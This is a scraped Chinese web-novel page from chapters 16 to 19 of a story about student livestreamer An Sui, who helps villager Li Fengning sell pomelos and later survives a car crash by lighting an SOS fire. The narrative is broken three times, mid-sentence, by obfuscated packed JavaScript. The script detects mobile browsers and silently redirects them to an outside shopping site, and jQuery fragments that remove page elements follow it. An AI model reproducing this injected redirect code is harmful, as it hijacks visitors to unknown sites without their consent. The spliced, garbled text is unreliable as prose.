“你看的都是什么电视小说啊?”白泽一脸嫌弃,“以后别看这些了,满脑子的黄色废料,人都变傻了。” 安随不服气:“你才傻了,俊男靓女很赏心悦目的好吗?” 白泽不信:“能有我好看?” 安随:“你长什么样我都不知道,不过肯定比你好看。” 白泽不服气:“你看的什么电视剧,我倒要看看到底比我好看在哪里。” 安随也来劲了,于是打开她最近才刷到的一部叫《满满仙途》的仙侠剧,主演是当下很火爆的流量小花,剧里和男一男二有感情纠葛,最后还是和男一在一起了。这部剧主讲的并不是爱情,而是主角吴满为了反抗命运不公,逆天改命的故事,非常励志。当然里面的感情线也很好磕,和男一男二都有CP感,网上甚至还建了两个CP的超话,人气都很高。 男主和女主也有吻戏,非常欲,看得安随心花怒放,都想立马谈个恋爱了,但是一出了剧便回归理智。 谈什么恋爱啊!学习要紧! 白泽全程面无表情地看完了安随说的让她心花怒放的片段,心里只有一个想法:就这? “这就是你说的见过猪跑的样子?” “对啊。”安随反问他,“不然你以为是什么?” 白泽自然不会说他心里想的是什么,但总归不是安随想的那样。 白泽看了剧里的男一男二,随后评价道:“长得确实不如我。” 安随一听就更好奇了:“你到底长什么样啊?不就是浑身雪白吗?能有这好看?” “那只是兽态而已,我的人形状态还是挺帅的。” 安随:“那我什么时候能看到?” 白泽:“多直播,等哪天我的信仰之力能让我现形,你自然能看到。” 说了等于没说。 安随一想到直播,就有种被迫营业的感觉,期待和现实一旦有了落差,便觉得做什么都提不起兴趣来。 “他们都不听我讲题,我感觉直播都没什么意思。”安随吐槽道。 白泽想了想,提议道:“不如我们换个玩法?” “又换?” 白泽:“你可以让网友们写下自己的心愿,再从心愿里面挑选出一件你感兴趣的事情,帮助他完成,全程直播记录,完成以后就奖励自己一样东西或做一件事情,这样是不是很有成就感?” 安随被他说得提起点兴趣,这总比每天和直播间网友演默剧好。 “好,那就这么干。”安随越说越感兴趣,当下就回到直播间,直播间里依然静悄悄的,要不是看到在线人数保持在8万+,她还以为直播间都没人了。 为了不被打断,安随打开麦克风后快速说道:“我有个新想法,你们拒绝听也没用,我还是要说。从今天起,你们有什么愿望都可以在评论区说出来,我会挑一个我感兴趣的愿望帮你实现,反对无效,没人支持我以后就不直播了。” 最后一句话杀伤力最强,安随刚一说完,屏幕便开始滚动起来。 “支持支持支持!主播我要考京大,你能帮我实现吗?” “主播我要上月球,你能把我送上去吗?” “主播我想坐宇宙飞船,你能造一艘出来送我吗?” “主播我要修仙,你能让我引气入体吗?” “主播我想成为亿万富翁!能让我买彩票中大奖吗?” …… 安随一条条评论看下来,看得两眼一黑,他们真把她这里当成许愿的地方了啊?没有一个愿望是她能做到的! 安随赶紧制止:“你们能不能说点靠谱的愿望啊?这我都能实现我不早成亿万富翁早上天了?” 安随这么强调一下,评论这才正常起来,但都是些很普通很小的事情,要不然就是周期很长,不适合直播。 安随挑选了一圈,最后目光锁定在了一条评论上。 布布:姐姐,你能帮我去看看我的一个朋友吗?她和你在一个城市,不过我们最近吵架了,她不接我电话,已经好多天了,我不知道她是还在生我的气还是出了什么事。 安随点了布布的名字,宣布这是她将要完成的第一个心愿。 网友们在羡慕布布的同时,也跟着好奇布布的朋友到底发生了什么。 安随让她把地址私发给她,并问她是否同意直播找人的过程,在得到同意后便下线了,准备明天去找人。 今天实在太晚了,她看了下那个地址,离学校有点远,还是明天去最保险。 好在第二天是周末,她刚好可以去走一趟,正好这段时间一直闷在医院和学校里,出去透透气也好。安随星期天吃完早饭后便出了学校,坐地铁到离那里最近的站下车。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699313|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那个地方叫李家村,安随出了地铁站后便开了直播,从地铁站出来以后还要坐大巴去镇里,镇里又坐乡村公交到李家村。安随到镇上的时候就已经中午了,在镇上随便吃了碗面,便坐上乡村公交往李家村去。 公交车坐了一个小时的山路才下车,安随看着眼前有些凹凸不平的小路,还是咬牙往上爬。身上虽然恢复了,但走这种小路还是有些吃力,走几步就得停下来歇几下。 这个时候安随便免不了吐槽白泽:“你说你好歹是一个神,怎么这点小伤都治不好啊?” 白泽声音也有气无力:“你以为我不想吗?那天车祸就把我的信仰之力耗光了,要不是我出马,你跟那位老人现在还躺医院里呢。” 安随一听其中还有这缘由,想到这几天白泽一直催促她直播,而自己一直不情不愿的,便有些愧疚。 “我不知道,你怎么没和我说?” “说了能干什么?我不会逼你做你不想做的事,你不想直播就算了,也不会要挟你,你想做什么就做什么。” 安随听到他那么开明,还有些小感动。 白泽这朋友,靠谱! 李家村的路并不平坦,一路攀爬,路上还能看到几个采摘柚子的果农。李家村山清水秀,盛产柚子,这个季节正是吃柚子的时候,路过那些果农的时候,见安随拿着手机记录,不由好奇地看着她,有自来熟的大姐和安随打招呼:“妹妹你是在拍视频吗?” 安随连忙放下手机:“我是在直播,大姐你们这柚子怎么卖的?” “直播啊。”大姐连忙整理了下衣服,手在衣服上擦了擦,这才清了清嗓子,用着不标准的普通话道:“我们这柚子又大又甜,包你吃了还想吃,不信你买来尝尝,不要998,也不要98,只要9.8一个。现在正是味道甜的时候,再迟点味道就没那么好了哦。” 这段话大姐说得特别顺畅,中间没有停顿,似乎在脑海里已经演示了很多次。 “真有那么甜吗?什么品种的柚子,好吃我也买点。”有网友好奇。 “主播你尝尝啊,好吃我们也跟着买点。” 大姐见安随有点感兴趣,连忙开了个柚子递给安随:“你尝尝,保甜。” 安随接过一瓣柚子,汁水和香甜便充盈了整个口腔,手上也覆了一层果油,有些粘腻,却并不让人讨厌。 安随当即被这个味道惊住了,连忙让大姐打包几个带上。 买完柚子以后,安随便问道:“姐,你认识李凤宁吗?” 大姐抬头看她:“认识啊,你找她啊?” 安随点头,追问道:“你最近看到她了吗?” “怎么没看到?她天天在地里转悠呢。” 安随听到这话,心里也算松了口气。 人没事就好,她好交差了。 大姐跟安随说了下李凤宁所在的位置,安随便提着一袋柚子往前走,走着走着突然觉得自己这个动作有点傻,她为什么不回去的时候再买柚子?现在要拉着一袋柚子走一路吗? 但买都买了,又不好退回去,而且那位大姐确实热情,也很卖力地推销柚子,她也不好拂了她的心意。 好在前面就是李家村村办公室,大姐见她力气小,还好心给她背到那里,安随又感谢了一番。和那里的村干部打了声招呼,表明自己想寄存柚子的想法,村干部也欣然同意,还帮她把柚子放好。 安随这才继续去找人。 沿着大姐说的路线继续走了近二十分钟,安随这才看到李凤宁的身影。 17. 第 17 章 李凤宁很好认,因为大姐说找这里最年轻最漂亮衣服颜色最鲜艳的就是她了。 安随沿着大姐所指的路线走,边走还有不少网友感叹这里的风景好美,满山的柚子树一片连成一片,一眼望不到头。 今天天气很好,难得出了太阳,冬日的阳光并不烈,晒在人身上暖洋洋的,让人浑身的骨头都酥了。安随鼻间伴着柚子的清香,踏在乡间的小路上,仿佛回到了小时候。 那时候,她家也有这样一片柚子园,父母恩爱,勤劳能干,把家里打理得井井有条。她的记忆对柚子是熟悉的,因为她经常穿梭在那片柚子园里。 只是后来父亲在她四岁的时候生病去世,家里没了主要劳动力,种地已经不能养活母女俩了,她跟随母亲搬到了镇上,靠母亲做针线活维持生计。 五岁的时候,母亲出车祸住院,她没人照顾,便被送到了乡下奶奶家。而她回去才发现,那片柚子园也因为村里要修公路,被占了地,早就被推平了,柚子园也随着她的记忆消失了。 而她也在那里感受到了原来不是所有人都会疼爱她的。 没有了父母的庇护,她成了比她小几个月的堂弟和其他小孩欺凌的对象,经常被揍得鼻青脸肿,小孩子下手没有轻重,打在身上特别疼,她好几次被打哭了,他们还笑她是哭包狗。 她去找奶奶告状,奶奶却问堂弟有没有被欺负,还说堂弟还小,她是姐姐得让着堂弟,姐弟俩要团结。 她知道,这个家里,没有人会真正在乎她。 有天早上,她趁他们下地干活时偷偷跑回了镇上,临走前还端了盆水跑到隔壁房间,把堂弟睡着的床给浇透了。她倒得小心翼翼,并没有吵醒熟睡的堂弟,甚至没弄湿他的衣服,水只会慢慢浸染到他睡觉的地方,神不知鬼不觉。 离开房间时,还顺手把门锁挂了起来。 她刚进来的时候门锁就是挂着的,因为大人下地干活了,堂弟又在熟睡,怕他醒来没看到人要出去找,因此把门锁了。 她并没有干什么,只是把门复原了而已。 等到大人回来,他身下已经湿透了。 至于会不会生病,就不是她考虑的事情了。 她带着自己早就收拾好的小包裹开始往镇上的方向跑,甚至在路上她还跑丢了一只鞋子,等感受到硌脚时才发现鞋子不见了,她索性把另外一只鞋子也脱下来拿在手里,赤脚狂奔。等终于到了医院,妈妈正熟睡着,她趴在妈妈盖的被子上,即使鼻间充斥着浓浓的消毒水味,也让她觉得特别心安。 妈妈住院期间,一直是姨妈照顾,后来还是打饭回来的姨妈叫醒了熟睡的她。妈妈也被吵醒了,见到她赤着脚,脚背上还有条血路子,什么话也没说,只是把她搂在怀里,压抑的哭声在她耳边响起。 后来,她便住在了姨妈家,姨妈家有个读高中住校的表哥,平时大人都出去上班了,没人照顾她,她便和妈妈一起待在医院,晚上回姨妈家住。而姨妈白天要上班,还要抽空来看母亲,还要照顾她,分身乏术,她也十分懂事,尽量不给姨妈添麻烦。 后来幼儿园开学,她就去幼儿园了,而她放学也不用姨妈来接,直接自己去医院看母亲。 她们夸她懂事,又心疼她太懂事,她懵懵懂懂不明白这两句话有什么区别,但被夸了她就很开心。 记忆被扯得有点远,却让她想起了过去那段伴随着温馨和痛苦的往事。 因此,安随看到柚子园还是挺感慨的。 已经十几年没见到了。 网友见她站在那里停了好一会儿,便催促道:“主播看风景看入迷了啊,快去找人啊!” 白泽也出声提醒:“他们催你了,赶紧走吧。” 安随这才回过神来,轻声叹息了一声。 “想起伤心事了?”白泽问她。 安随“嗯”了一声,解释道:“有伤心也有快乐吧。” 白泽问跟着叹了声气:“人类的感情真复杂,搞不懂。” “那是你没体会过爱。” 白泽问:“爱是什么?” 安随:“爱就是能让你感受到温暖快乐的东西,有大爱有小爱,不管是亲情友情还是爱情还是来自陌生人的善意,甚至是爱国情,只要你感受到了温暖快乐,那就是爱。” “那我还是有的吧,我有个很要好的朋友,我们一起修炼,一起打妖怪,还挺快乐的。” “哦。”白泽想了想又补充道,“和你在一起也挺快乐的,我也感受到了你对我的爱。” 安随:“……” 虽然是自己这么跟他解释的,但怎么听起来就那么奇怪呢? 安随轻咳一声,低头继续往前走。 安随一直走到了果园的深处,才在万抹绿色中看到了一抹红。 李凤宁今天穿着一身大红的毛衣外套,正在往箩筐里放柚子,听到有人的脚步声传来,这才起身看向安随:“你是来找我的吗?” 安随把手机放回兜里,跟她解释道:“是有人来让我找你的,我是主播白泽,有个叫布布的女孩让我来找你,说你的电话好几天都没人接了,怕你出事。” 李凤宁听她说完,笑了一下,指了指她的兜:“你在直播吗?可以拿出来摄像头对着我吗?” 安随不知道她有何用意,但见她不在意入镜,便依言拿出手机。 只见李凤宁站直了身子,她很高,挺拔的身姿站在柚子树下,把一颗黄灿灿的柚子都顶了起来。 但她并不在意,而是面向手机镜头,微微一笑。 “大家好,我叫李凤宁,也是布布,很高兴你们来到李家村。李家村是个山清水秀的地方,这里人杰地灵,盛产柚子和柑橘,这里山多路陡,离城区较远,出行不便,因此柚子和柑橘也常年滞销,很多烂在地里。我也曾试过直播带货,但效果甚微,偶然进了直播间,成为主播的粉丝,也送过嘉年华,我没有白嫖。我也挂过直播间,刚好我在准备考试,学习起来感觉效果很好。如今考试就只剩一个月了,但家乡的柚子却成熟了,我怕它们又像往年一样滞销,刚好主播提出能帮人完成心愿,我这才出此下策,没想到意外被选中。在这里我向被我骗来的主播道歉,也向广大的网友道歉,对不起。” 李凤宁说完,对着镜头深深地鞠了个躬。 一阵风吹来,吹起了李凤宁的衣摆,乌黑的发丝也随风飞扬,此刻的她,像个智者,又像被渡了层光。 安随听她说完,已经从最开始的惊讶变成了现在的坦然。 虽然被骗,但她并没有愤怒,而是有些感慨,会有人那么深沉地爱着大山,爱着脚下的这片土地。 这是她做不到的。 她很佩服李凤宁。 在来的路上,她一路遇到的人都是上了年纪的人,他们脸上挂着质朴的笑容,布满了沟壑,看到安随打听李凤宁的下落,都很热情地跟她指路,还不忘夸一句李凤宁。 她一路到这里,除了村干部和李凤宁,没有看到一个年轻人。 这是很多农村的现状,年轻人都出去打工,只留下年迈的父母爷爷奶奶在家种地,一年回来不了几次。农产品滞销,也是老大难的问题,特别是交通不便的地方,这个现象更严重,如果没有外力介入,很难推销出去。 她刚到村委会放柚子的时候,也看到村办公室里堆着柚子,并对外销售,看到她买了袋柚子,也没再问她要不要买,而是对她说如果觉得这里的柚子好吃,可以推荐给其他人,她礼貌性地答应了。 而此刻,她是真的起了推柚子的心思,甚至这个想法快跳了出来,但被白泽按住了:“冷静,矜持,现在还不是时候。” “为什么?” “再等等,一大波信仰之力马上就来了。” 安随一听果然冷静了下来。 而网友们却像池子里被丢进了一颗深水炸弹,顿时炸开了。 “我去,这套路有点深啊,直播间10万观众都被套路了。” “刚刚才8万,这就10万了啊,果然看主播吃瘪是件值得全平台摇人的事。” “头一次看到主播被人套路,竟有点想疯狂大笑,甚至围着操场跑20圈怎么办?果然是平常被这个女人折磨得太惨了。” “楼上的,你现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699314|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在去跑吧,跑不完不能回来看热闹。” “一群看热闹不嫌事大的,就没有人心疼主播吗?居然出现了能把她治住的人。” “李凤宁这姑娘不简单啊,头脑灵活,心系大山,将来绝对是国家需要的人才。” “主播也不简单啊,被人欺骗还能面不改色,坦然面对,能忍者必成大事。” “心疼主播奔波劳累了一天,最后为她人做嫁衣,而你们却在嘲笑她,呵呵。” “你懂什么?这难道不是双赢的事吗?你没见主播的粉丝通过这个直播已经涨了十万了吗?” “在和你说话的功夫,她的粉丝又涨了一万。” “布布的号粉丝也到了一万了,大家都受益,皆大欢喜。” “我突然在想,这不会是两个人联合做的一个局吧,而我们都是局里的棋子,越想越有可能。” “不像,看了主播那么多天的直播了。她的性格还是了解一些的,说一不二,光明正大,不像会搞这种小动作。” “人不可貌相,你们都没见过她真人,直播从来不露面,谁知道背后是人是鬼?” “哪里来的黑子,管理员叉出去!” “还不能让人说了?你们难道一点都不觉得愤怒吗?被人耍得团团转还在这哈哈大笑,一群傻冒!脱粉了!” “好走不送!” “看直播本来就图个乐子,只要看得开心,有没有剧本都无所谓。” 见评论风向有点偏,李凤宁连忙解释道:“我向大家保证,绝对没有剧本,我也没有联合主播欺骗大家,纯粹是我个人的行为,因为……”李凤宁说到这里,哽咽了一下,“因为我父母在我很小的时候就去世了,我是吃百家饭长大的。这里的人供我吃喝,供我上大学,所以我才想让这个村子变得好起来,对不起对不起,如果给大家带来困扰,请骂我一个人就可以了,不要骂主播,也不要对这里产生不好的印象,因为,这里真的很好很好,真的。” 李凤宁说着说着,背过身去拿纸巾擦了擦眼泪,这才又掉头回来,挤出一个笑容:“让大家见笑了。” 安随看着她,突然下了一个决心。 白泽知道她想说什么,连忙叫住她:“再等等,在线人数还在不断上升,还有人没进来呢。” 但安随充耳不闻,而是对着李凤宁说道:“你很好很好,我没有生气,也没有感觉被欺骗,而是很佩服你,佩服你的勇气和对这里深沉的爱,相反我还要谢谢你。” 谢谢你让我明白,原来还有这样的爱。 这是她从未体会过的。 安随说完,便将摄像头对准了漫山遍野挂着的柚子。 “这里的柚子味道确实不错,风景很美,空气也很清新,大家有空了可以过来看看,当然要理性对待,这只是我个人的看法,大家不要盲目过来。” “买买买!” “这周末就让我爸妈带我过去玩!买爆它!” “主播都说好吃了,那肯定好吃!必须买!” “能邮寄吗?我在广市,离得远,不方便过来。” “对啊,邮寄邮寄,主播的粉丝遍布五湖四海,也让其他省份的粉丝尝尝鲜吧。” 李凤宁连忙说道:“可以邮寄的,大家可以点进我的橱窗,上面能下单。” 她一说完,便立马有粉丝点进去了。 只一会儿的功夫,就下去了10000的库存。 1库存是10斤,也就是说,就在刚刚,她就为李家村卖出了100000斤柚子。 这是什么概念? 李家村整个村子那么多年加起来,都没有往外邮寄那么多斤柚子。 其他柚子外商自己进来拉,要么拉到外省去卖,要么只能背到镇上卖给本地人。 可想而知火爆程度。 当李凤宁哽咽着感谢网友感谢安随帮她卖了十万斤柚子时,安随都惊了,这届网友那么暴力消费的吗? 一想到他们躺在家里过几天就能收到柚子,而自己还要扛着一麻袋柚子翻山越岭,转几趟车回学校,安随就觉得自己腿已经开始疼了。 18. 第 18 章 安随最终并没有自己把那袋柚子带回去。 村主任李世全很快闻讯赶来,客客气气地和安随打了番招呼,然后又带着安随参观村里的产业园。 李家村柚子基地很大,几乎家家户户都在种柚子,但因为交通不便,柚子又能储存,因此销量并不好,很多是外商进来拉,但也因为出行不便,外商的货车只能停到村委会,然后请人拉到那里去,每年都得消耗不少人力物力,实际上利润更低,长此以往,外商更愿意选择交通便利的地方,即便李家村的柚子口感更好。 但商人本就逐利,也没人能挑得出错来。 这可愁坏了李家村的村干部,农民就靠种地养活自己,柚子滞销,销量一年不如一年,他们只能自救。 李凤宁算是自救的带头人,也带动李家村的果农自己在网上卖柚子,但效果甚微,不是人人都能吃网络这口饭的。 他们也向政府申请修路,但修路这种东西,不是申请就能下来的,还有个时间周期,因此也还在路上。 安随一路听着李世全和她讲解柚子从种植到销售的整个过程,以及他们为此付出的诸多努力,脑海里已经显现出这群人为了能带村民走出大山,每天奔波在田间野里,头顶着烈日,脸上挂着坚辛的汗水,眼里却是满满爱意的画面。 安随对农村的记忆有些遥远了,那个家她从那次偷偷离开后就再也没回去过,那里也没人问过她的现状,或许,在父亲去世后,他们之间最后一点藕断丝连也消失了。 安随并不失落,他们本就不是一个世界的人。以前,她的世界里只有母亲,现在,她多了几个室友,还有直播间嗷嗷待哺的网友,还有,白泽。 这种感觉很奇妙,好像一张白纸,突然就多了好几种颜色,让她的人生也变得没有那么寡淡了。 安随跟着他们参观了一下午,腿早就酸了,但看李世全热情满满,舌灿莲花,又不好打断。最后还是李凤宁跟李世全说安随刚出院,不能走久了,才替她解了围。 李世全一脸不好意思,连连道歉:“抱歉抱歉,我一说起来就没完没了,都不知道你刚出院,你今天晚上就在凤宁家住吧,等明天再去其他地方参观参观再回。” 安随连忙道:“我明天还要上课,今天就得回去。” 李世全还想留,但一想到对方还是学生,最后只能说道:“那就晚饭吃了回吧,我找车送你回学校。” 这里离锦城市区不算很远,之所以安随来花了那么久,一是转车,二是不熟悉路,如果开车,高速一个多小时就到了。 安随不想麻烦他,便说自己坐车回去,却被告知到镇上的末班车早就收班了,加上李凤宁也一直热情挽留,这才作罢。 结束参观后,安随便在网友的依依不舍中挂掉了直播,问下次直播什么时候?答曰今天播太久了,要休息一段时间,一段时间是多少时间?不知道,看心情。完全无视网友的哀嚎。 晚上的时候,村委会的一干人等,以及联村干部都来到了李凤宁家中。 李凤宁家就在离村委会不远处,她以前的房子因为年久失修不能住人,后来政府出钱给她在宅基地上重新修了一套,虽然不大,但住她一个人绰绰有余。 隔壁家的几个阿姨早就得到消息,来李凤宁家烧火做饭,忙得热火朝天,等他们到的时候,这里早就升起了袅袅炊烟,烟火气十足。 一行十来个人,一下子把不算大的院子给挤满了。 往常李凤宁都是一个人住,有的时候忙得脚不沾地,随便在谁家对付一口饭,这里已经很久没有那么热闹,那么有烟火味了。 李凤宁悄悄擦了擦眼角。 这种感觉真好。 她喜欢有烟火气。 李家村几乎家家户户都做腊肉腊肠,李凤宁不会做,她家里没有,阿姨们就自带腊肉腊肠,鸡是隔壁鸡圈捉的,鸭是从田里刚赶回来的,鱼是李二哥家的鱼塘现捞的,除了几根蒜苗和青菜是李凤宁自己种的,其他食材都是其他人带过来的。 李凤宁突然就觉得有些不好意思起来,她那个菜园子不小,种的菜却稀稀拉拉的,平常自己炒个菜倒够了,一到这个时候便有些不够看了。 但没有人会嘲笑她,这本来就不是她一个人的事,而是全村的事,自然每个人都想出份力,即使是请安随吃饭这么一件简单的事。 因为安随是学生,加上刚出院不久,其他人都收敛着,推杯助盏间都小声说话,怕吵着安随,倒让安随有些不自在了,吃饭的速度也一直在加快。 白泽一直在那里嚎:“你慢点吃,我都没尝出味来!唔,好香!” 安随也觉得香,柴火做的饭菜自带一股特别的味道,加上阿姨们的手艺好,食材地道,做出来的味道自然好。 安随也忍不住多吃了一碗饭,肚子被撑得圆鼓鼓的,白泽还想吃,被安随无情地拒绝了。 再吃下去,她怕她一会儿都爬不回宿舍。 见安随放筷子,其他几人问她吃饱了没有,见安随不是真客气,这才随她去了,安随一离开,明显感觉屋子里说话的声音都大了起来。 呼,总算出来了。 安随不习惯这种场面,一是人多热闹,二是别人都围着她转,不时有人让她尝尝这个尝尝那个,十分热情,甚至热情地过了头。 她习惯了独来独往,也习惯了被人忽视不被人注意,一时焦点全在她身上,反而让她不适应。 一出来,安随坐在院子里,看着渐渐西斜的落日,晚霞满天,远处群山叠嶂,近处炊烟叠起,竟说不出得宁静和谐,整颗心也跟着平静下来。 怪不得李凤宁对这里那么留恋,她看得都想多住几晚了。 安随休息了会儿,李凤宁便来说送她的车已经找好了,她买的柚子也给她放车上了,随时都可以走。 安随起身进屋和屋里的人打招呼,十几号人也纷纷站起来和她道别,搞得安随都有些不好意思,连忙让他们坐下。 屋里就李世全和安随待得时间最久,因此起身相送,边走边又感谢了安随一番,并让她以后有空常来玩,这里永远为她敞开大门。 三人一路走到停在村委会门口的黑色小轿车旁,正有人往后备箱装柚子,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699315|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时还能传来“咯咯咯”的声音。 安随有些疑惑,难道还有其他人要坐这个车吗? 李凤宁解释道:“这是周大孃给你带的公鸡,因为时间短,没有时间杀,你自己带回去到菜市场杀吧,除了你买的那袋柚子,还有一袋,你带回去给你学校的老师和同学都尝尝,好吃的话我再给你寄。” 安随连连摆手:“这怎么行?你拿回去,我不要。” 李凤宁连忙阻止道:“这都是大家的一片心意,村里人自己种的养的,也不值钱,你别嫌弃就行。” 见推不过,安随连连道谢,想要给对方钱,又被对方阻拦了,只得收下。 安随坐上汽车,在两人的目送中离开了这座小山村。 此时,天已然黑了下来,下山的路都得一直开着车灯才能看清远处。司机是个沉默寡言的人,几乎一路上没和安随说过一句话。安随本就累了一天,一上车便昏昏欲睡。 “砰——” 一声巨响突然传来,安随整个人往上弹跳了一下,又返回了座位。 安随被剧烈的响声惊醒了,睁眼便看到前面黑漆漆的,车身停了下来,司机坐在前面一动未动,安随叫了几声也没有回应。 安随连忙呼唤白泽:“白泽!白泽!” 安随很少这样焦急地喊白泽的名字,白泽一听,也知道事情的严重性,出来查看了一番,神情也变得严肃:“我们的车掉下山崖了。” 安随心里一惊,那司机岂不是凶多吉少了? 她连忙爬上前去查看司机的情况,因为她的五感比常人敏锐,一下子就察觉到了司机的不对劲。 他软绵绵地靠在驾驶座上,额头上还不停往外冒着血,双目紧闭着,没有一丝的反应。 好在她拿手探了探他的鼻间,还有气息。 这算是个好消息,只要人还有救,那就不晚。 只是,她要怎么把他救上去? 外面黑漆漆的,但依稀能看到这里是个山谷,也不知道离上面还有多远,但安随在巨大的冲击下没有怎么受伤,也感觉车身并没有下坠多久,想来应该离上面不远。当务之急是要找人来救他们。 安随拿出手机,想要打报警电话,却发现手机没有一点信号,拨打了几个电话都是无法接通。 安随不确定是不是自己的手机信号差,便又去摸司机的手机,摸了半天也没摸到,也不知道是不是已经掉出车外了。 此刻的安随心里是从未有过的慌张,时间一分一秒过去,多在这里耽搁一分钟,司机救援的机会就少一分。 但安随很快冷静下来,现在能救司机的只有她了,多耽搁一秒,司机的危险就越大。 安随问白泽:“有什么办法能让我去报警的吗?” 白泽也犯难了:“我查探了下,这附近没有人家,除非找到司机的手机报警,不然只能走到有人家的地方,但那样的话,花费时间更久。” 安随当机立断:“那就先找他的手机。” 安随说完,便又继续在车里摸索起来,但她翻遍了也没找到,于是决定下车去找。 19. 第 19 章 但想出去并不容易,车身是斜挂在悬崖边上,安随往外一挪动脚步,车身就跟着晃动两下,如此几次,安随便不敢再乱动。 此刻她的脑子却比以往任何时候都还要清醒,安随问白泽:“你有办法把车子挪到平地吗?” 白泽想了想道:“这几天我攒了点信仰之力,只能消耗掉了,不过你后面得加倍直播回来,不然这么耗下去,我猴年马月才能复活?” 安随哪里有不应的?连忙同意。 而白泽在得到肯定的答复后,也施法将车子慢慢地挪动。好在车子倾斜并不严重,很快便被移到了实地,虽然并不平坦,但至少不会担心掉下去。 安随很快下了车,环视了一圈周围的环境,最后决定放弃寻找手机。 这里杂草比她人还高,找都得找到猴年马月,而且手机说不定还掉下山崖去了,继续寻找下去只会浪费更多时间。 安随没接触过车,但猜想车上应该有说明,于是翻了会儿,翻到一本说明书,照着说明打开远光灯和双闪,随后倾身去驾驶座。白泽见状,连忙制止道:“你别动他,等人来救。” 安随没说话,在司机身上摸了会儿,最后摸到一个东西拿了出来。 白泽一看,竟然是个打火机,他有些疑惑地问道:“你拿打火机做什么?你现在的视力比常人好,这种夜晚赶路不需要照明都可以。” “谁说我要赶夜路了?”安随见司机身上真有打火机,便下了车开始拔草,草很深也很生,拔起来非常费劲,但安随顾不得那么多,几乎使出了全身的力气,手被野草勒出血痕,一碰就疼。 安随脚下很快堆了一堆野草,她将野草抱在怀里,随后往山坡上爬。 此刻他们正处在山坡下面的一块草地上,上面就是公路,只要爬上去,他们就有救。 安随抱着一大抱野草爬起来十分不方便,她便将草捆成一捆,背在背上往上爬。 过了会儿她终于爬到公路上了,白色的路面在月光下反着光,也将这里的整个路面都照得一清二楚。 前方的路面光滑平坦,也没有路障阻拦,也不知道司机怎么把车给开翻了。 安随将野草取下来,随后铺成“SOS”的造型,又去周围找了些干草和干树枝扑在上面,如此以后才点燃了干草,很快,干草便沿着字母开始凹出造型,因为下面有生草,一时半会儿不会熄灭,做完这一切后,安随紧绷的身体才缓缓放松了点。 希望有人能看到吧。 安随靠坐在马路边上,望着漫天的火光,突然觉得一个亿也没那么好赚,这已经是她这个月遭遇的第二次车祸了,想想就觉得自己倒霉。 又是想解契的一天。 “你这个契约不好结啊。”安随在心里吐槽,却没得到任何回应。 白泽因为耗尽信仰之力,再次陷入沉睡。 安随低声叹了口气。 夜晚的冷风带着凉意侵袭而来,安随裹紧了衣领,靠在火堆旁,等待救援。 她不能擅自离开,怕火花被冷风刮跑了,若是刮到其他山头引发火灾,到时候更解释不清了。 现在只能寄希望有人能看到这边的灯光和火光了。 刚才在李家村的时候,听到有宣传车辆提醒大家别野外用火,天上有遥感卫星随时都能监测到,她这才突发奇想,虽然她在野外用火,但是在大马路上,又是危机时刻,想来不会被责罚吧。 就算被罚,她也认了。 她只是想给司机争取更多的时间而已。 安随目光向前,便看到这条山路十分蜿蜒曲折,一山连着一山,看不到尽头。 山路也很窄,只能勉强两个车辆错身,外面便是悬崖峭壁,虽然有栏杆拦着,但看着还是吓人。 好在他们掉下去的地方并不高,下面还是个平台,这才不至于造成更严重的后果。 虽如此,安随此刻坐下来还是感觉到手臂火辣辣地疼,一看竟然是之前出车祸挫伤的地方又流血了,此时血已经干涸,但还是有地方有着明显的淤青,手指也火辣辣的,是刚才拔草的时候受的伤。 人在高度紧张的时候感觉没那么强烈,可一旦放松,痛感便席卷而来。加上安随五感本就比常人敏锐,痛感自然更加强烈。 此刻的安随便觉得浑身哪都疼,坐立难安地动了动,却还是觉得难受,于是又站起来走了走。 如此几次以后,竟发觉身上真没那么疼了。 安随就这样消磨着时间,直到远处能看到微弱灯光,伴随着救护车的鸣笛声,安随站起来望向远方,看到来的车辆不止一辆,这才松了口气。 他们得救了。 安随拨弄了下火堆,让火燃得更熊烈,火光冲天,也照亮了她那张沾满血的脸。 车队开到跟前,他们便发现一名少女站在火堆前,一张脸被鲜血染红,眼神却十分坚毅,看不到一点慌乱。 很快便有医生从救护车上下来,上前查看安随的伤势。 “有没有哪里受伤?还有其他人员吗?”安随任凭医生给她检查,她指了指下面,“司机还在车上,昏迷不醒。” 医生看到山崖闪烁的车灯,离公路有点距离,夜路不明,他们不敢轻举妄动。 好在一名穿着警服的男人主动说道:“我在前面开道,你派个医生走我后面。” 医生很快点了名医生下去,而自己继续给安随处理伤口:“头疼吗?还记得刚才发生的事情吗?” 